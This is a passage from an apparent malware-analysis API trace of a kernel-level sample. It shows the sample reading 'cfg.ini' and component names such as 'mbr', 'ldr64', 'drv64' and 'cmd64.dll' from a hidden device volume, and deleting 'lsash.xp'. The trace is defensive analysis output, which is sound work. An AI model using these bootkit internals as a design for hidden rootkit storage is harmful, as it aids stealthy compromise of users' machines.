_Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.045] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.045] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be20e0 [0122.045] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.045] KeLeaveCriticalRegion () [0122.045] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.045] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.045] KeEnterCriticalRegion () [0122.045] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.045] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.045] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.045] KeLeaveCriticalRegion () [0122.045] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.045] KeEnterCriticalRegion () [0122.045] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.045] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.046] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.046] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.046] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.046] IdePortDispatch () returned 0x103 [0122.046] KeWaitForMutexObject () returned 0x0 [0122.046] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.046] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.046] KeLeaveCriticalRegion () [0122.046] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.046] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.046] KeEnterCriticalRegion () [0122.046] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.046] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c18000 [0122.046] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.046] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.046] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.046] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.046] IdePortDispatch () returned 0x103 [0122.046] KeWaitForMutexObject () returned 0x0 [0122.046] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.046] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.046] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.046] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.046] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.046] IdePortDispatch () returned 0x103 [0122.046] KeWaitForMutexObject () returned 0x0 [0122.047] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.047] KeLeaveCriticalRegion () [0122.047] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.047] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.047] KeEnterCriticalRegion () [0122.047] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.047] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.047] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.047] KeLeaveCriticalRegion () [0122.047] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.047] KeEnterCriticalRegion () [0122.047] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.047] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.047] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.047] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.047] KeLeaveCriticalRegion () [0122.047] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.047] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.047] KeEnterCriticalRegion () [0122.047] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.047] ExFreePoolWithTag (P=0xfffffa8003be20e0, Tag=0x0) [0122.047] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.047] KeLeaveCriticalRegion () [0122.047] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.048] ReleaseMutex (hMutex=0xf0) returned 1 [0122.048] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.048] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.048] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.048] KeEnterCriticalRegion () [0122.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.048] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.048] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.048] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.048] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.048] IdePortDispatch () returned 0x103 [0122.048] KeWaitForMutexObject () returned 0x0 [0122.048] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.048] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.048] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.048] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.048] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.048] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be2cb0 [0122.048] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.048] KeLeaveCriticalRegion () [0122.048] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.048] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.048] KeEnterCriticalRegion () [0122.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.048] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.048] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.048] KeLeaveCriticalRegion () [0122.048] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.048] KeEnterCriticalRegion () [0122.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.048] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.048] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.048] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.048] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.048] IdePortDispatch () returned 0x103 [0122.048] KeWaitForMutexObject () returned 0x0 [0122.049] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.049] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.049] KeLeaveCriticalRegion () [0122.049] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.049] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.049] KeEnterCriticalRegion () [0122.049] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.049] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c19000 [0122.049] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.049] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.049] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.049] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.049] IdePortDispatch () returned 0x103 [0122.049] KeWaitForMutexObject () returned 0x0 [0122.049] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.049] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.049] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.049] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.049] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.049] IdePortDispatch () returned 0x103 [0122.049] KeWaitForMutexObject () returned 0x0 [0122.049] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.049] KeLeaveCriticalRegion () [0122.049] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.050] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.050] KeEnterCriticalRegion () [0122.050] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.050] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.050] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.050] KeLeaveCriticalRegion () [0122.050] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.050] KeEnterCriticalRegion () [0122.050] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.050] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.050] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.050] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.050] KeLeaveCriticalRegion () [0122.050] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.050] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.050] KeEnterCriticalRegion () [0122.050] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.050] ExFreePoolWithTag (P=0xfffffa8003be2cb0, Tag=0x0) [0122.050] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.050] KeLeaveCriticalRegion () [0122.050] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.050] ReleaseMutex (hMutex=0xf0) returned 1 [0122.050] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.050] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.050] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.050] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.051] KeEnterCriticalRegion () [0122.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.051] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.051] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.051] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.051] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.051] IdePortDispatch () returned 0x103 [0122.051] KeWaitForMutexObject () returned 0x0 [0122.051] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.051] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.051] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.051] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.051] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.051] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.051] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.051] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.051] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.051] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.051] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.051] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.051] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.051] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.051] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.051] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.051] KeLeaveCriticalRegion () [0122.051] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.051] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.051] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.051] KeEnterCriticalRegion () [0122.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.051] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.051] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.051] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.051] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.051] IdePortDispatch () returned 0x103 [0122.051] KeWaitForMutexObject () returned 0x0 [0122.052] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.052] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.052] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.052] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.052] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.052] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.052] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.052] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.052] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.052] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.052] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.052] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.052] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.052] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.052] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.052] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.052] KeLeaveCriticalRegion () [0122.052] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.052] ReleaseMutex (hMutex=0x100) returned 1 [0122.052] Sleep (dwMilliseconds=0x2bf20) [0122.058] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6bf21dd0, dwHighDateTime=0x1d24fa4)) [0122.058] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.058] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.058] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.058] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.058] KeEnterCriticalRegion () [0122.058] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.058] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.058] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.058] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.058] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.058] IdePortDispatch () returned 0x103 [0122.059] KeWaitForMutexObject () returned 0x0 [0122.059] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.059] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.059] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.059] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.059] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.059] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be2cb0 [0122.059] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.059] KeLeaveCriticalRegion () [0122.059] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.059] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.059] KeEnterCriticalRegion () [0122.059] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.059] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.059] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.059] KeLeaveCriticalRegion () [0122.059] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.059] KeEnterCriticalRegion () [0122.059] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.059] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.059] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.059] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.059] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.059] IdePortDispatch () returned 0x103 [0122.059] KeWaitForMutexObject () returned 0x0 [0122.059] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.059] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.059] KeLeaveCriticalRegion () [0122.059] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.060] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.060] KeEnterCriticalRegion () [0122.060] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.060] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c1c000 [0122.060] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.060] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.060] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.060] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.060] IdePortDispatch () returned 0x103 [0122.060] KeWaitForMutexObject () returned 0x0 [0122.060] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.060] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.060] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.060] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.060] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.060] IdePortDispatch () returned 0x103 [0122.060] KeWaitForMutexObject () returned 0x0 [0122.060] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.060] KeLeaveCriticalRegion () [0122.060] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.061] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.061] KeEnterCriticalRegion () [0122.061] ExAcquireFastMutexUnsafe (in: 